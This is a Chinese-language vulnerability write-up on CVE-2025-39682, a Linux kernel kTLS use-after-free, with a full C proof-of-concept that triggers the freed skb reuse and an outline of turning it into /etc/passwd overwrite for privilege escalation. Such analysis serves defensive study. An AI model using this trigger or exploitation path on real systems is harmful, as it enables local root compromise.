漏洞简介

漏洞编号: CVE-2025-39682

影响版本: Linux Kernel < v6.17

漏洞产品: linux kernel - tls & tls_record_content_type & uaf

利用效果: 本地提权

注:由于早期内核版本编译有问题,作者并未实测过该漏洞最早受影响的版本,且该漏洞实际上是另一个漏洞的未修复完全版本,作者稍后会在文末详细解释

​

环境搭建

复现环境:qemu + linux kernel v6.16

环境附件: bzImage

复现流程: qemu启动patch的内核后,将poc编译传到vm中(或者编译好重新打包文件系统),运行即可触发kasan报告

注:作者测试的内核是图方便直接在一个已修复版本进行patch的,6.12.67这个版本已修复该漏洞

​

漏洞原理

漏洞的本质是uaf。当ktls使用zc零拷贝时,内核并不会额外分配一个skb而是选择直接复用接收队列上原有的skb,在解密完成后该skb会被直接释放,而在同一解密流中当record类型不一致时,ktls的处理逻辑是将skb放入rx_list中等下一次接收再读取,最终导致释放的内存残留额外引用在rx_list中引发uaf

​

漏洞分析

在tls_sw_recvmsg函数中有这么一段代码

err = tls_record_content_type(msg, tls_msg(darg.skb), &control);
		if (err <= 0) {
			DEBUG_NET_WARN_ON_ONCE(darg.zc);
			tls_rx_rec_done(ctx);
put_on_rx_list_err:
			__skb_queue_tail(&ctx->rx_list, darg.skb);
			goto recv_end;
		}

简单理解它的逻辑就是,当处理多个record时,如果当前record的type与之前不一致,则将当前record对应的skb存入rx_list中
在tls_sw_recvmsg函数的开头有这么一段代码

err = process_rx_list(ctx, msg, &control, 0, len, is_peek, &rx_more);
	if (err < 0)
		goto end;

	copied = err;
	if (len <= copied || (copied && control != TLS_RECORD_TYPE_DATA) || rx_more)
		goto end;

就是说当rx_list中有数据时优先读取,如果读取的长度rx_list已经能满足甚至直接就goto end

结合起来看其实就是,当record的type不一致时存放到rx_list中供下次读取,那么为什么这段代码会引发漏洞呢?其实这条代码也给出了提示DEBUG_NET_WARN_ON_ONCE(darg.zc)
它想表达的是,如果设置了darg.zc,不应该走到这个路径,为何?

在tls解密之前有这么一条调用链:
tls_rx_rec_wait -> tls_strp_msg_load -> tls_strp_load_anchor_with_queue

最终会将接收队列的一个skb加载到strp->anchor这条引用中

进行tls解密时则有这么一条调用链:

tls_rx_one_record -> tls_decrypt_sw -> tls_decrypt_sg

不讨论后续具体加密细节,就分析tls_decrypt_sg这个函数

static int tls_decrypt_sg(struct sock *sk, struct iov_iter *out_iov,
			  struct scatterlist *out_sg,
			  struct tls_decrypt_arg *darg)
{
	......
	if (darg->zc && (out_iov || out_sg)) {
		clear_skb = NULL;

		if (out_iov)
			n_sgout = 1 + tail_pages +
				iov_iter_npages_cap(out_iov, INT_MAX, data_len);
		else
			n_sgout = sg_nents(out_sg);
	} else {
		darg->zc = false;

		clear_skb = tls_alloc_clrtxt_skb(sk, skb, rxm->full_len);
		if (!clear_skb)
			return -ENOMEM;

		n_sgout = 1 + skb_shinfo(clear_skb)->nr_frags;
	}
  ......
	if (clear_skb) {
		sg_init_table(sgout, n_sgout);
		sg_set_buf(&sgout[0], dctx->aad, prot->aad_size);

		err = skb_to_sgvec(clear_skb, &sgout[1], prot->prepend_size,
				   data_len + prot->tail_size);
		if (err < 0)
			goto exit_free;
	} else if (out_iov) {
		sg_init_table(sgout, n_sgout);
		sg_set_buf(&sgout[0], dctx->aad, prot->aad_size);

		err = tls_setup_from_iter(out_iov, data_len, &pages, &sgout[1],
					  (n_sgout - 1 - tail_pages));
		if (err < 0)
			goto exit_free_pages;

		if (prot->tail_size) {
			sg_unmark_end(&sgout[pages]);
			sg_set_buf(&sgout[pages + 1], &dctx->tail,
				   prot->tail_size);
			sg_mark_end(&sgout[pages + 1]);
		}
	} else if (out_sg) {
		memcpy(sgout, out_sg, n_sgout * sizeof(*sgout));
	}
	dctx->free_sgout = !!pages;

	/* Prepare and submit AEAD request */
	err = tls_do_decryption(sk, sgin, sgout, dctx->iv,
				data_len + prot->tail_size, aead_req, darg);
	if (err) {
		if (darg->async_done)
			goto exit_free_skb;
		goto exit_free_pages;
	}

	darg->skb = clear_skb ?: tls_strp_msg(ctx);
	clear_skb = NULL;
  ......
}

简单来说这个函数主要是对解密缓冲区的处理,主要有三个选择,当不走zc零拷贝时内核会分配新的clear_skb作为载体,并在函数返回前将引用传递给darg->skb,而如果走的是zc零拷贝路径,返回的则是strp->anchor这条引用

static inline struct sk_buff *tls_strp_msg(struct tls_sw_context_rx *ctx)
{
	DEBUG_NET_WARN_ON_ONCE(!ctx->strp.msg_ready || !ctx->strp.anchor->len);
	return ctx->strp.anchor;
}

这有什么问题呢?关键在于这段代码中,简单理解就是tls_rx_rec_done的功能是释放strp->anchor这条引用,而在内存释放之后又将引用附加到rx_list中,显而易见造成了UAF了

err = tls_record_content_type(msg, tls_msg(darg.skb), &control);
		if (err <= 0) {
			DEBUG_NET_WARN_ON_ONCE(darg.zc);
			tls_rx_rec_done(ctx);
put_on_rx_list_err:
			__skb_queue_tail(&ctx->rx_list, darg.skb);//darg.skb == strp->anchor
			goto recv_end;
		}


poc分析

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/msg.h>
#include <sched.h>
#include <sys/wait.h>
#include <unistd.h>
#include <errno.h>
#include <netinet/tcp.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/sendfile.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <err.h>
#include <linux/tls.h>
#include <sys/mman.h>


#define SYSCHK(x) ({              \
    typeof(x) __res = (x);        \
    if (__res == (typeof(x))-1)   \
        err(1, "SYSCHK(" #x ")"); \
    __res;                        \
})


#define PORT 4444


void setup_tls(int sock)
{
    struct tls12_crypto_info_aes_ccm_128 crypto = {0};
    crypto.info.version = TLS_1_2_VERSION;
    crypto.info.cipher_type = TLS_CIPHER_AES_CCM_128;
    SYSCHK(setsockopt(sock, SOL_TCP, TCP_ULP, "tls", sizeof("tls")));
    SYSCHK(setsockopt(sock, SOL_TLS, TLS_RX, &crypto, sizeof(crypto)));
}


int main(int argc, char **argv)
{


    char control[1024];
    char buf[4096];


    int listener, conn, client;
    struct sockaddr_in addr = {
        .sin_family = AF_INET,
        .sin_port = htons(PORT),
        .sin_addr.s_addr = htonl(INADDR_LOOPBACK)};


    socklen_t len = sizeof(addr);


    setvbuf(stdout, 0, 2, 0);


    listener = SYSCHK(socket(AF_INET, SOCK_STREAM, 0));
    if (listener < 0)
    {
        perror("socket listener");
        exit(1);
    }


    SYSCHK(bind(listener, (struct sockaddr *)&addr, sizeof(addr)));


    SYSCHK(listen(listener, 1));


    client = SYSCHK(socket(AF_INET, SOCK_STREAM, 0));


    SYSCHK(connect(client, (struct sockaddr *)&addr, sizeof(addr)));


    conn = SYSCHK(accept(listener, NULL, 0));


    setup_tls(conn);


    /* MESSAGE 1: Raw TLS 1.2 record for plaintext: 'Hello world' */
    /* Sequence Number: 0 */
    /* Total length: 40 bytes */
    unsigned char tls_record_1[] = {
        0x17, 0x03, 0x03, 0x00, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x26, 0xa2, 0x33, 0xde, 0x8d, 0x94, 0xf0, 0x29, 0x6c, 0xb1, 0xaf,
        0x6a, 0x75, 0xb2, 0x93, 0xad, 0x45, 0xd5, 0xfd, 0x03, 0x51, 0x57, 0x8f,
        0xf9, 0xcc, 0x3b, 0x42};
    unsigned int tls_record_1_len = sizeof(tls_record_1);


    /* MESSAGE 2: Raw TLS 1.2 record for plaintext: '' */
    /* Sequence Number: 1 */
    /* Total length: 29 bytes */
    unsigned char tls_record_2[] = {
        0x16, 0x03, 0x03, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x01, 0x3e, 0xf0, 0xfe, 0xee, 0xd9, 0xe2, 0x5d, 0xc7, 0x11, 0x4c, 0xe6,
        0xb4, 0x7e, 0xef, 0x40, 0x2b};
    unsigned int tls_record_2_len = sizeof(tls_record_2);


    /* MESSAGE 3: Raw TLS 1.2 record for plaintext: 'Hello world' */
    /* Sequence Number: 2 */
    /* Total length: 40 bytes */
    unsigned char tls_record_3[] = {
        0x17, 0x03, 0x03, 0x00, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x02, 0xe5, 0x3d, 0x19, 0x3d, 0xca, 0xb8, 0x16, 0xb6, 0xff, 0x79, 0x87,
        0x8e, 0xa1, 0xd0, 0xcd, 0x33, 0xb5, 0x86, 0x2b, 0x17, 0xf1, 0x52, 0x2a,
        0x55, 0x62, 0x65, 0x11};


    unsigned int tls_record_3_len = sizeof(tls_record_3);


    write(client, tls_record_1, sizeof(tls_record_1));


    write(client, tls_record_2, sizeof(tls_record_2));


    int n = read(conn, buf, 0x100);


    write(client, tls_record_3, sizeof(tls_record_3));


    struct iovec iov = {
        .iov_base = buf,
        .iov_len = sizeof(buf),
    };


    struct msghdr lmsg = {
        .msg_name = NULL,
        .msg_namelen = 0,
        .msg_iov = &iov,
        .msg_iovlen = 1,
        .msg_control = control,
        .msg_controllen = sizeof(control),
        .msg_flags = 0,
    };


    n = recvmsg(conn, &lmsg, 0);


    close(conn);


    return 0;
}



主要通过三个record去触发漏洞,按理说,触发漏洞的关键是这段代码
​

err = tls_record_content_type(msg, tls_msg(darg.skb), &control);
		if (err <= 0) {
			DEBUG_NET_WARN_ON_ONCE(darg.zc);
			tls_rx_rec_done(ctx);
put_on_rx_list_err:
			__skb_queue_tail(&ctx->rx_list, darg.skb);
			goto recv_end;
		}

也就是使得两个record的type不一致,且后面的record走的是zc零拷贝路径就行了,为何需要三个record呢?关键在于这段代码的逻辑
​

if (control != TLS_RECORD_TYPE_DATA)
		break;

也就是当record的type不是data时就不再继续处理了,这也是patch成功防护的原理
这段代码的原理则是,如果control没被赋值过则进行赋值,赋值过之后则进行比较

static int tls_record_content_type(struct msghdr *msg, struct tls_msg *tlm,
				   u8 *control)
{
	int err;

	if (!*control) {
		*control = tlm->control;
		if (!*control)
			return -EBADMSG;

		err = put_cmsg(msg, SOL_TLS, TLS_GET_RECORD_TYPE,
			       sizeof(*control), control);
		if (*control != TLS_RECORD_TYPE_DATA) {
			if (err || msg->msg_flags & MSG_CTRUNC)
				return -EIO;
		}
	} else if (*control != tlm->control) {
		return 0;
	}

	return 1;
}

综上所述,触发漏洞的原理则是

  1. 发送两个record后进行第一次recv

处理一个data类型的record,初始化control为TLS_RECORD_TYPE_DATA

处理一个其它类型的record,触发判断使得skb加入到rx_list中

  1. 发送第三个record,并以zc零拷贝的方式进行recv

此时rx_list中有skb优先处理,处理完后control被设置为0x16(非data类型),读取长度不够继续读取第三个record,此时触发判断使得第三个record对应的skb加入到rx_list中,但由于zc零拷贝的原因该内存已然释放造成uaf

patch:62708b9452f8eb77513115b17c4f8d1a22ebf843

​

本文旨在对漏洞的分析,漏洞利用就不多赘述了,但总体思路其实比较简单,skb的frags数组有page的话,可考虑转成page UAF,有了page UAF最简单的dataonly利用方式就是堆喷filp篡改/etc/passwd了


补充:开头之所以说该漏洞是另一个漏洞的未修复完全版,其实是最早这个漏洞是CVE-2024-58239
patch:fdfbaec5923d9359698cbb286bc0deadbb717504
该patch忽略了当非data的record长度为0的情况,导致当copied的值是0时出现的逻辑短路,绕过了后面control != TLS_RECORD_TYPE_DATA这条check